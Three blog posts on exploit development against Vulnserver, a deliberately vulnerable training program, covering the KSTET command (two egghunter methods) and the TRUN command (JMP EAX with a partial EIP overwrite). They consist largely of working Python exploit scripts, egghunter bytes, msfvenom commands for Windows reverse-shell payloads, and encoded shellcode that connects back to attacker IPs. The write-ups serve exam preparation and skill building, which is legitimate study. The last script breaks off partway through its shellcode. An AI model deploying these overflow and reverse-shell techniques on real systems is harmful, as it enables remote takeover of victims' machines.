Exploit Development – Vulnserver KSTET – Egghunter 2

Hello everyone,

This post is an alternative way to crack Vulnserver using KSTET command. To understand what I’m going to show in you here and how you can exploit this specific method you need to read the last post of the blog. You can find it here:

We were at this point:

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"
buffer="KSTET " + crash + "\r\n"

So we have 3 parts in our buffer:

  • 70 bytes length before EIP located in EAX
  • EIP overwrite
  • 20 bytes after EIP located in ESP

This time we are going to jump to ESP register. So the first thing that we need to do it’s to find a proper jump. I’m going to use Immunity debugger and the Corelan plugin named Mona to try to find one.

I run this command in Immunity console:

!mona jmp -r esp -d essfunc.dll

And we find several jumps:

We can use the first one:

0x625011AF

Let’s modify our exploit:

crash = "A" * 70 + "\xAF\x11\x50\x62" + "C" * 20

We set a breakpoint before the JMP ESP instruction. We launch the exploit and we reach our breakpoint:

Our egghunter length is 32 bytes, and we only have 20 bytes of space, so we can’t write it here. We need to jump backwards to the other buffer that was 70 bytes long.

To do that we can go to the debugger, we take the jump and we look for the first characters of the big buffer space. That are here:

As you can see I selected the third A character because the other two seems to belong to the previous instruction.

I copy this memory address:

017CF998   41               INC ECX

And I go to the current position of EIP. Here I double click in the instruction to modify it:

And i write the Jump that I want:

And Olly tells me that the opcode that I need is the following one:

So I need to use:

"\xEB\xB6"

Let’s add this information to the code:

crash = "\x20"\x41 * 1 + "A" * 68 + "\xAF\x11\x50\x62" + "\xEB\xB6" + "\xCC" * 18

After doing some small adjustments I verify that our Jump works:

At this point we just need to implement the same that in the previous blog post.

Let’s use the same method to complete the exploit:

# Author: Xavi Bel
# Date: 26/06/2019
# Website: xavibel.com
# Vulnserver KSTET - Method 2
#!/usr/bin/python
import socket
import os
import sys
import time

# Connection
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
print expl.recv(1024)

# First buffer:
#       EGGx2
#       Shellcode

# Reverse TCP Bind Shell
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xb8\x41\xdb\x4c\xdd\xdb\xcc\xd9\x74\x24\xf4\x5b\x33"
shellcode += "\xc9\xb1\x52\x31\x43\x12\x83\xeb\xfc\x03\x02\xd5\xae"
shellcode += "\x28\x78\x01\xac\xd3\x80\xd2\xd1\x5a\x65\xe3\xd1\x39"
shellcode += "\xee\x54\xe2\x4a\xa2\x58\x89\x1f\x56\xea\xff\xb7\x59"
shellcode += "\x5b\xb5\xe1\x54\x5c\xe6\xd2\xf7\xde\xf5\x06\xd7\xdf"
shellcode += "\x35\x5b\x16\x27\x2b\x96\x4a\xf0\x27\x05\x7a\x75\x7d"
shellcode += "\x96\xf1\xc5\x93\x9e\xe6\x9e\x92\x8f\xb9\x95\xcc\x0f"
shellcode += "\x38\x79\x65\x06\x22\x9e\x40\xd0\xd9\x54\x3e\xe3\x0b"
shellcode += "\xa5\xbf\x48\x72\x09\x32\x90\xb3\xae\xad\xe7\xcd\xcc"
shellcode += "\x50\xf0\x0a\xae\x8e\x75\x88\x08\x44\x2d\x74\xa8\x89"
shellcode += "\xa8\xff\xa6\x66\xbe\xa7\xaa\x79\x13\xdc\xd7\xf2\x92"
shellcode += "\x32\x5e\x40\xb1\x96\x3a\x12\xd8\x8f\xe6\xf5\xe5\xcf"
shellcode += "\x48\xa9\x43\x84\x65\xbe\xf9\xc7\xe1\x73\x30\xf7\xf1"
shellcode += "\x1b\x43\x84\xc3\x84\xff\x02\x68\x4c\x26\xd5\x8f\x67"
shellcode += "\x9e\x49\x6e\x88\xdf\x40\xb5\xdc\x8f\xfa\x1c\x5d\x44"
shellcode += "\xfa\xa1\x88\xcb\xaa\x0d\x63\xac\x1a\xee\xd3\x44\x70"
shellcode += "\xe1\x0c\x74\x7b\x2b\x25\x1f\x86\xbc\xe6\xf0\xab\xbd"
shellcode += "\x9f\xf2\xab\xbc\xe4\x7a\x4d\xd4\x0a\x2b\xc6\x41\xb2"
shellcode += "\x76\x9c\xf0\x3b\xad\xd9\x33\xb7\x42\x1e\xfd\x30\x2e"
shellcode += "\x0c\x6a\xb1\x65\x6e\x3d\xce\x53\x06\xa1\x5d\x38\xd6"
shellcode += "\xac\x7d\x97\x81\xf9\xb0\xee\x47\x14\xea\x58\x75\xe5"
shellcode += "\x6a\xa2\x3d\x32\x4f\x2d\xbc\xb7\xeb\x09\xae\x01\xf3"
shellcode += "\x15\x9a\xdd\xa2\xc3\x74\x98\x1c\xa2\x2e\x72\xf2\x6c"
shellcode += "\xa6\x03\x38\xaf\xb0\x0b\x15\x59\x5c\xbd\xc0\x1c\x63"
shellcode += "\x72\x85\xa8\x1c\x6e\x35\x56\xf7\x2a\x45\x1d\x55\x1a"
shellcode += "\xce\xf8\x0c\x1e\x93\xfa\xfb\x5d\xaa\x78\x09\x1e\x49"
shellcode += "\x60\x78\x1b\x15\x26\x91\x51\x06\xc3\x95\xc6\x27\xc6"

buffer2  = "GDOG "
buffer2 += "T00WT00W"
#buffer2 += "\xCC" * 105 + "\x44" + "\x45" * 5000
buffer2 += "\x90" * 8
buffer2 += shellcode
buffer2 += "\x90" * 8
buffer2 += "\r\n"

print "[+] Sending exploit part 1!"
expl.send(buffer2)
print expl.recv(1024)

time.sleep(5)

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# \x20\x20\x20          - Second jump adjustment
# 625011AF              - JMP ESP stored in vulnserver dll
crash = "\x20\41" + egghunter + "\x90" * 36 + "\xAF\x11\x50\x62" + "\xEB\xB6" + "\x90" * 18


buffer  ="KSTET "
buffer += crash + "\r\n"
print "[+] Sending exploit part 2!"

expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/KSTET/EXP-KSTET-02.py

We run our exploit, and we receive our reverse shell! 🙂

See you soon! I will continue doing Vulnserver write-ups and probably in the future I’m going to rewrite some Exploit-DB exploits.

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver KSTET – Egghunter 1

Hello everyone! This is going to be the second post of the series of Vulnserver. This post will cover the exploitation of vulnserver using the KSTET function

This one is a bit more difficult than TRUN, that was the one that I explained in the last blog post.

For this write-up I would not write the fuzzing part and the location of EIP. I did exactly the same process than in the previous post, so you can read all the information here:

After the fuzzing process and the location of EIP, we are going to see that we have a very little buffer space. We are going to be at this point:

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"
buffer="KSTET " + crash + "\r\n"

So we have 3 parts in our buffer:

  • 70 bytes length before EIP
  • EIP overwrite
  • 20 bytes after EIP

Now that we now our buffer length, let’s see where it’s located. This is our current python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"

buffer="KSTET "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
expl.send(buffer)
expl.close()

And this is a screenshot of Olly after the crash:

As you can see in the image above, we overwritten EIP with the 4 B’s. Our 20 bytes length buffer it’s located in ESP and our 70 bytes length buffer it’s located in EAX.

Let’s start for the first thing, that is going to be overwrite EIP. We have multiple options, look for a JMP/CALL EAX, or do a JMP/CALL ESP.

I’m going to follow both ways of exploitation, but for this particular blog post I’m going to Jump to EAX, if you want to see how to do it jumping to ESP you can read it in the next blog post.

Having said this, we can continue. Using Mona plugin for Immunity, we can look for the JMP EAX or CALL EAX that we need. We already did that in the previous blog post, and we identified the following memory address that is located in vulnserver dll:

#62501084   FFD0             CALL EAX

At this point we can overwrite EIP, and put a breakpoint in the CALL EAX instruction. Our buffer right now contains this:

crash = "A" * 70 + "\x84\x10\x50\x62" + "C" * 19 + "D"

And we reach the breakpoint:

Then we have to look what character we can use in our exploit. We only have 70 bytes buffer length so I have to do it in 3 parts: (one not commented, the others two commented)

badchars  = ""
badchars += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars += "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars += "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
#badchars += "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
#badchars += "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
#badchars += "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
#badchars += "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
#badchars += "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
#badchars += "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
#badchars += "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
#badchars += "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
#badchars += "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
#badchars += "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
#badchars += "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
#badchars += "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00"

After I generate two more crashes with the other two parts. At the end we only have the null byte as a bad character: “\x00”.

At this point, the plan is to store an egghunter in EAX and then jump to it. This is our current code:

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# 62501084   FFD0             CALL EAX
crash = "\x90" * 8  + egghunter + "\x90" * 30 + "\x84\x10\x50\x62" + "C" * 19 + "D"

As you see I added a small string with some NOPS for padding. I send it, but the egghunter won’t execute.

Trick 1: Access violation caused by our Nops padding

When we send that, we are also executing the following ASCII string: “STET” followed by some NOPS instructions that I added manually.

They generated the following instruction;

017DF995         2090 90909090    AND BYTE PTR DS:[EAX+90909090],DL

And it crashes the program:

I’ve tested it until I realized that adding 3 “\x20” bytes before the egghunter it works correctly:

crash = "\x20" * 3 + egghunter + "\x90" * 35 + "\x84\x10\x50\x62" + "C" * 19 + "D"

Now we need to send our egg and our shellcode so the program con store it in memory and our egghunter can find it. I saw that the function GDOG saves the string directly into memory.

So first I generated the shellcode:

root@kali:~/Documents/Certifications/OSCE/Vulnserver/2_KSTET# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.35.129 LPORT=443 -f py -b "\x00" | sed 's/buf/shellcode/g'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1684 bytes
shellcode =  ""
shellcode += "\xda\xc8\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x52\xbb\x3a"
shellcode += "\x54\x35\x97\x31\x58\x17\x03\x58\x17\x83\xfa\x50\xd7"
shellcode += "\x62\x06\xb0\x95\x8d\xf6\x41\xfa\x04\x13\x70\x3a\x72"
shellcode += "\x50\x23\x8a\xf0\x34\xc8\x61\x54\xac\x5b\x07\x71\xc3"
shellcode += "\xec\xa2\xa7\xea\xed\x9f\x94\x6d\x6e\xe2\xc8\x4d\x4f"
shellcode += "\x2d\x1d\x8c\x88\x50\xec\xdc\x41\x1e\x43\xf0\xe6\x6a"
shellcode += "\x58\x7b\xb4\x7b\xd8\x98\x0d\x7d\xc9\x0f\x05\x24\xc9"
shellcode += "\xae\xca\x5c\x40\xa8\x0f\x58\x1a\x43\xfb\x16\x9d\x85"
shellcode += "\x35\xd6\x32\xe8\xf9\x25\x4a\x2d\x3d\xd6\x39\x47\x3d"
shellcode += "\x6b\x3a\x9c\x3f\xb7\xcf\x06\xe7\x3c\x77\xe2\x19\x90"
shellcode += "\xee\x61\x15\x5d\x64\x2d\x3a\x60\xa9\x46\x46\xe9\x4c"
shellcode += "\x88\xce\xa9\x6a\x0c\x8a\x6a\x12\x15\x76\xdc\x2b\x45"
shellcode += "\xd9\x81\x89\x0e\xf4\xd6\xa3\x4d\x91\x1b\x8e\x6d\x61"
shellcode += "\x34\x99\x1e\x53\x9b\x31\x88\xdf\x54\x9c\x4f\x1f\x4f"
shellcode += "\x58\xdf\xde\x70\x99\xf6\x24\x24\xc9\x60\x8c\x45\x82"
shellcode += "\x70\x31\x90\x05\x20\x9d\x4b\xe6\x90\x5d\x3c\x8e\xfa"
shellcode += "\x51\x63\xae\x05\xb8\x0c\x45\xfc\x2b\x9f\x8a\xdd\x2a"
shellcode += "\xb7\xa8\x21\x2c\xf3\x24\xc7\x44\x13\x61\x50\xf1\x8a"
shellcode += "\x28\x2a\x60\x52\xe7\x57\xa2\xd8\x04\xa8\x6d\x29\x60"
shellcode += "\xba\x1a\xd9\x3f\xe0\x8d\xe6\x95\x8c\x52\x74\x72\x4c"
shellcode += "\x1c\x65\x2d\x1b\x49\x5b\x24\xc9\x67\xc2\x9e\xef\x75"
shellcode += "\x92\xd9\xab\xa1\x67\xe7\x32\x27\xd3\xc3\x24\xf1\xdc"
shellcode += "\x4f\x10\xad\x8a\x19\xce\x0b\x65\xe8\xb8\xc5\xda\xa2"
shellcode += "\x2c\x93\x10\x75\x2a\x9c\x7c\x03\xd2\x2d\x29\x52\xed"
shellcode += "\x82\xbd\x52\x96\xfe\x5d\x9c\x4d\xbb\x6e\xd7\xcf\xea"
shellcode += "\xe6\xbe\x9a\xae\x6a\x41\x71\xec\x92\xc2\x73\x8d\x60"
shellcode += "\xda\xf6\x88\x2d\x5c\xeb\xe0\x3e\x09\x0b\x56\x3e\x18"

And after that I needed to modify the script. The main structure is going to be the following:

  • We connect to Vulnserver
  • We receive the banner
  • We launch the first command: GDOG EGG+EGG+SHELLCODE
  • We receive the banner
  • We wait some seconds
  • We launch the second command: KSTET “\x20″* 3 + EGGHUNTER

This is the final exploit:

# Author: Xavi Bel
# Date: 26/06/2019
# Website: xavibel.com
# Vulnserver KSTET - Method 1

#!/usr/bin/python
import socket
import os
import sys
import time

# Connection
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
print expl.recv(1024)

# First buffer:
#       EGGx2
#       Shellcode

# Reverse TCP Bind Shell
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xb8\x41\xdb\x4c\xdd\xdb\xcc\xd9\x74\x24\xf4\x5b\x33"
shellcode += "\xc9\xb1\x52\x31\x43\x12\x83\xeb\xfc\x03\x02\xd5\xae"
shellcode += "\x28\x78\x01\xac\xd3\x80\xd2\xd1\x5a\x65\xe3\xd1\x39"
shellcode += "\xee\x54\xe2\x4a\xa2\x58\x89\x1f\x56\xea\xff\xb7\x59"
shellcode += "\x5b\xb5\xe1\x54\x5c\xe6\xd2\xf7\xde\xf5\x06\xd7\xdf"
shellcode += "\x35\x5b\x16\x27\x2b\x96\x4a\xf0\x27\x05\x7a\x75\x7d"
shellcode += "\x96\xf1\xc5\x93\x9e\xe6\x9e\x92\x8f\xb9\x95\xcc\x0f"
shellcode += "\x38\x79\x65\x06\x22\x9e\x40\xd0\xd9\x54\x3e\xe3\x0b"
shellcode += "\xa5\xbf\x48\x72\x09\x32\x90\xb3\xae\xad\xe7\xcd\xcc"
shellcode += "\x50\xf0\x0a\xae\x8e\x75\x88\x08\x44\x2d\x74\xa8\x89"
shellcode += "\xa8\xff\xa6\x66\xbe\xa7\xaa\x79\x13\xdc\xd7\xf2\x92"
shellcode += "\x32\x5e\x40\xb1\x96\x3a\x12\xd8\x8f\xe6\xf5\xe5\xcf"
shellcode += "\x48\xa9\x43\x84\x65\xbe\xf9\xc7\xe1\x73\x30\xf7\xf1"
shellcode += "\x1b\x43\x84\xc3\x84\xff\x02\x68\x4c\x26\xd5\x8f\x67"
shellcode += "\x9e\x49\x6e\x88\xdf\x40\xb5\xdc\x8f\xfa\x1c\x5d\x44"
shellcode += "\xfa\xa1\x88\xcb\xaa\x0d\x63\xac\x1a\xee\xd3\x44\x70"
shellcode += "\xe1\x0c\x74\x7b\x2b\x25\x1f\x86\xbc\xe6\xf0\xab\xbd"
shellcode += "\x9f\xf2\xab\xbc\xe4\x7a\x4d\xd4\x0a\x2b\xc6\x41\xb2"
shellcode += "\x76\x9c\xf0\x3b\xad\xd9\x33\xb7\x42\x1e\xfd\x30\x2e"
shellcode += "\x0c\x6a\xb1\x65\x6e\x3d\xce\x53\x06\xa1\x5d\x38\xd6"
shellcode += "\xac\x7d\x97\x81\xf9\xb0\xee\x47\x14\xea\x58\x75\xe5"
shellcode += "\x6a\xa2\x3d\x32\x4f\x2d\xbc\xb7\xeb\x09\xae\x01\xf3"
shellcode += "\x15\x9a\xdd\xa2\xc3\x74\x98\x1c\xa2\x2e\x72\xf2\x6c"
shellcode += "\xa6\x03\x38\xaf\xb0\x0b\x15\x59\x5c\xbd\xc0\x1c\x63"
shellcode += "\x72\x85\xa8\x1c\x6e\x35\x56\xf7\x2a\x45\x1d\x55\x1a"
shellcode += "\xce\xf8\x0c\x1e\x93\xfa\xfb\x5d\xaa\x78\x09\x1e\x49"
shellcode += "\x60\x78\x1b\x15\x26\x91\x51\x06\xc3\x95\xc6\x27\xc6"

buffer2  = "GDOG "
buffer2 += "T00WT00W"
#buffer2 += "\xCC" * 105 + "\x44" + "\x45" * 5000
buffer2 += "\x90" * 8
buffer2 += shellcode
buffer2 += "\x90" * 8
buffer2 += "\r\n"

print "[+] Sending exploit part 1!"
expl.send(buffer2)
print expl.recv(1024)

time.sleep(5)

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# \x20\x20\x20          - Access violation fix
# 62501084              - CALL EAX stored in vulnserver dll
crash = "\x20" * 3 + egghunter + "\x90" * 35 + "\x84\x10\x50\x62" + "C" * 19 + "D" + "E" * 5000

buffer  ="KSTET "
buffer += crash + "\r\n"
print "[+] Sending exploit part 2!"

expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/KSTET/EXP-KSTET-01.py

And here is our shell!

In the next blog post I’m going to solve the same exercise but instead of jumping to EAX we are going to jump to the small buffer that is located in ESP. See you soon! 🙂

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver TRUN – JMP EAX

Hello everyone, this post is the first of a series that I’m going to dedicate to Exploit Development.

Right now I just finished the OSCE certification labs and I’m preparing the exam. I think that is a good idea to do as many Vulnserver challenges as I can to improve my skills.

If you don’t know what is Vulnserver, you can read a quick introduction of what it is and how you can use it here:

In this post I will cover the TRUN function exploitation, but we are not going to follow the standard process. I’m going to explain all the process step by step, but we are going to do it in a hard way. These are the tricks that you will learn:

  • How to do a partial EIP overwrite (the initial JMP that we are going to use contains a null byte).
  • Access violation of an AND instruction, how to identify the problem and how to solve it.
  • When EIP and ESP are really close in memory location, our shellcode won’t work. How to detect that and fix it.

Let’s start the process. First things first, we attach the process to our favorite debugger:

Let’s fuzz this part of the program. To do it I’m going to use a Boofuzz python script. I explained in this blog post how to create this script step by step:

We start fuzzing it, and after some requests, we see that we managed to crash the program:

And we now that the request that crashed it was:

So we can replicate the crash with this python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 5000

buffer="TRUN /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

We launch the script and we see that we overwrite EIP with 4 A’s:

Now we need to identify which of the 5000 characters are the ones overwriting EIP.

To do that we need to generate a unique string. Kali has a tool named msf-pattern_create that is made for this purpose.

root@kali:~/Documents/Certifications/OSCE/Vulnserver/1_TRUN# msf-pattern_create -l 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A...k5Gk

We remove the 5000 A’s and we put this string instead.

The application crashes again, but this time we are overwritten EIP with other values:

Let’s use msf-pattern-offset to identify where are this values in our previous string:

root@kali:~/Documents/Certifications/OSCE/Vulnserver/1_TRUN# msf-pattern_offset -l 5000 -q "386F4337"
[*] Exact match at offset 2003

Let’s modify our script, to verify that we didn’t make any mistake. Let’s overwrite EIP with 4 B’s.

crash = "A" * 2003 + "B" * 4 + "C" * 2903

And we got 4 B’s in EIP:

Another important thing that we can see, is that our C string it’s located in ESP. So if we overwrite EIP with a JMP ESP or CALL ESP instruction we should be able to jump to that memory section.

Other option is to jump to EAX, so to make it more interesting, let’s go that way. 🙂

I’ve found 2 JMP EAX in 2 places, the first one is in the DLL of the program essfunc.dll and it doesn’t contain null bytes

#62501084   FFD0             CALL EAX

The second one is located in vulnserver.exe but it contains a null byte.

#00402D7B  \. FFE0           JMP EAX

I’m doing this as an exam preparation, so I choose the difficult way again!


Trick 1. Partial EIP overwrite

Let’s try a partial overwrite of EIP, so we erase the last byte of EIP, and the last part of our payload:

crash = "\xCC" * 2001 + "\x7B\x2D\x40" 

buffer="TRUN A/.:A/"
buffer+= crash

We launch the script, we put a breakpoint in the JMP EAX, and we reach the breakpoint so it works:


Trick 2. Access violation issue

When we let our jump run, we are going to jump to EAX, but a few instructions later we are going to find the following problem:

The following instruction is causing an access violation, it may be related with the value of EDI that is zero.

017FF204   202F             AND BYTE PTR DS:[EDI],CH

The instruction that causes the crash is \x20\x2F that in ascii is: ” /”

We have control of it. Let’s try to modify it for: ” A/”

Now it’s crashing again, but in the next instruction. I’m going to do a small modification to see if the crashes stops:

crash = "\xCC" * 2001 + "\x7B\x2D\x40" 

buffer="TRUN A/.:A/"
buffer+= crash

Finally with our partial EIP overwrite we reached the “\xCC” shellcode zone.


Now it’s the moment to generate a reverse shell shellcode.

I generate a standard msfvenom reverse shell with 00 as a null byte bad character:

root@kali:~/Documents/Certifications/OSCE/Vulnserver/1_TRUN# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.88 LPORT=443 -f py -b "\x00" | sed 's/buf/shellcode/g'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1684 bytes
shellcode =  ""
shellcode += "\xbf\xa9\xa1\x85\x71\xdb\xdb\xd9\x74\x24\xf4\x58\x29"
shellcode += "\xc9\xb1\x52\x31\x78\x12\x83\xe8\xfc\x03\xd1\xaf\x67"
shellcode += "\x84\xdd\x58\xe5\x67\x1d\x99\x8a\xee\xf8\xa8\x8a\x95"
shellcode += "\x89\x9b\x3a\xdd\xdf\x17\xb0\xb3\xcb\xac\xb4\x1b\xfc"
shellcode += "\x05\x72\x7a\x33\x95\x2f\xbe\x52\x15\x32\x93\xb4\x24"
shellcode += "\xfd\xe6\xb5\x61\xe0\x0b\xe7\x3a\x6e\xb9\x17\x4e\x3a"
shellcode += "\x02\x9c\x1c\xaa\x02\x41\xd4\xcd\x23\xd4\x6e\x94\xe3"
shellcode += "\xd7\xa3\xac\xad\xcf\xa0\x89\x64\x64\x12\x65\x77\xac"
shellcode += "\x6a\x86\xd4\x91\x42\x75\x24\xd6\x65\x66\x53\x2e\x96"
shellcode += "\x1b\x64\xf5\xe4\xc7\xe1\xed\x4f\x83\x52\xc9\x6e\x40"
shellcode += "\x04\x9a\x7d\x2d\x42\xc4\x61\xb0\x87\x7f\x9d\x39\x26"
shellcode += "\xaf\x17\x79\x0d\x6b\x73\xd9\x2c\x2a\xd9\x8c\x51\x2c"
shellcode += "\x82\x71\xf4\x27\x2f\x65\x85\x6a\x38\x4a\xa4\x94\xb8"
shellcode += "\xc4\xbf\xe7\x8a\x4b\x14\x6f\xa7\x04\xb2\x68\xc8\x3e"
shellcode += "\x02\xe6\x37\xc1\x73\x2f\xfc\x95\x23\x47\xd5\x95\xaf"
shellcode += "\x97\xda\x43\x7f\xc7\x74\x3c\xc0\xb7\x34\xec\xa8\xdd"
shellcode += "\xba\xd3\xc9\xde\x10\x7c\x63\x25\xf3\x43\xdc\x24\x5b"
shellcode += "\x2c\x1f\x26\x5a\x17\x96\xc0\x36\x77\xff\x5b\xaf\xee"
shellcode += "\x5a\x17\x4e\xee\x70\x52\x50\x64\x77\xa3\x1f\x8d\xf2"
shellcode += "\xb7\xc8\x7d\x49\xe5\x5f\x81\x67\x81\x3c\x10\xec\x51"
shellcode += "\x4a\x09\xbb\x06\x1b\xff\xb2\xc2\xb1\xa6\x6c\xf0\x4b"
shellcode += "\x3e\x56\xb0\x97\x83\x59\x39\x55\xbf\x7d\x29\xa3\x40"
shellcode += "\x3a\x1d\x7b\x17\x94\xcb\x3d\xc1\x56\xa5\x97\xbe\x30"
shellcode += "\x21\x61\x8d\x82\x37\x6e\xd8\x74\xd7\xdf\xb5\xc0\xe8"
shellcode += "\xd0\x51\xc5\x91\x0c\xc2\x2a\x48\x95\xf2\x60\xd0\xbc"
shellcode += "\x9a\x2c\x81\xfc\xc6\xce\x7c\xc2\xfe\x4c\x74\xbb\x04"
shellcode += "\x4c\xfd\xbe\x41\xca\xee\xb2\xda\xbf\x10\x60\xda\x95"

Trick 3. EIP/ESP too close

After adding the shellcode to the script I thought that I was going to receive my reverse shell but wasn’t working. I made this screenshot of the registers before the first line of our reverse shell is executed:

In the image above you can see that ESP value is 017EF9D4 and EIP is 017EF219. That means that there is 7BB of difference between them. EIP can be overwritten and the exploit may not work.

To fix this I want to do a move of another register to ESP. I choose ECX because it’s in a middle memory address and also it’s fair away enough of EIP.

So before our shellcode I do:

MOV ESP, ECX
“\x8B\xE1”

I add this small fix to the final python script:

#!/usr/bin/python
# Author: Xavi Bel
# Website: xavibel.com
# Date: 24/06/2019
# Vulnserver TRUN - new method
import socket
import os
import sys

# Reverse TCP shell to port 443
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xdb\xc5\xbf\xfb\xf5\x89\x96\xd9\x74\x24\xf4\x5b\x2b"
shellcode += "\xc9\xb1\x52\x31\x7b\x17\x83\xc3\x04\x03\x80\xe6\x6b"
shellcode += "\x63\x8a\xe1\xee\x8c\x72\xf2\x8e\x05\x97\xc3\x8e\x72"
shellcode += "\xdc\x74\x3f\xf0\xb0\x78\xb4\x54\x20\x0a\xb8\x70\x47"
shellcode += "\xbb\x77\xa7\x66\x3c\x2b\x9b\xe9\xbe\x36\xc8\xc9\xff"
shellcode += "\xf8\x1d\x08\xc7\xe5\xec\x58\x90\x62\x42\x4c\x95\x3f"
shellcode += "\x5f\xe7\xe5\xae\xe7\x14\xbd\xd1\xc6\x8b\xb5\x8b\xc8"
shellcode += "\x2a\x19\xa0\x40\x34\x7e\x8d\x1b\xcf\xb4\x79\x9a\x19"
shellcode += "\x85\x82\x31\x64\x29\x71\x4b\xa1\x8e\x6a\x3e\xdb\xec"
shellcode += "\x17\x39\x18\x8e\xc3\xcc\xba\x28\x87\x77\x66\xc8\x44"
shellcode += "\xe1\xed\xc6\x21\x65\xa9\xca\xb4\xaa\xc2\xf7\x3d\x4d"
shellcode += "\x04\x7e\x05\x6a\x80\xda\xdd\x13\x91\x86\xb0\x2c\xc1"
shellcode += "\x68\x6c\x89\x8a\x85\x79\xa0\xd1\xc1\x4e\x89\xe9\x11"
shellcode += "\xd9\x9a\x9a\x23\x46\x31\x34\x08\x0f\x9f\xc3\x6f\x3a"
shellcode += "\x67\x5b\x8e\xc5\x98\x72\x55\x91\xc8\xec\x7c\x9a\x82"
shellcode += "\xec\x81\x4f\x04\xbc\x2d\x20\xe5\x6c\x8e\x90\x8d\x66"
shellcode += "\x01\xce\xae\x89\xcb\x67\x44\x70\x9c\x47\x31\x7b\x04"
shellcode += "\x20\x40\x7b\xb5\x0b\xcd\x9d\xdf\x7b\x98\x36\x48\xe5"
shellcode += "\x81\xcc\xe9\xea\x1f\xa9\x2a\x60\xac\x4e\xe4\x81\xd9"
shellcode += "\x5c\x91\x61\x94\x3e\x34\x7d\x02\x56\xda\xec\xc9\xa6"
shellcode += "\x95\x0c\x46\xf1\xf2\xe3\x9f\x97\xee\x5a\x36\x85\xf2"
shellcode += "\x3b\x71\x0d\x29\xf8\x7c\x8c\xbc\x44\x5b\x9e\x78\x44"
shellcode += "\xe7\xca\xd4\x13\xb1\xa4\x92\xcd\x73\x1e\x4d\xa1\xdd"
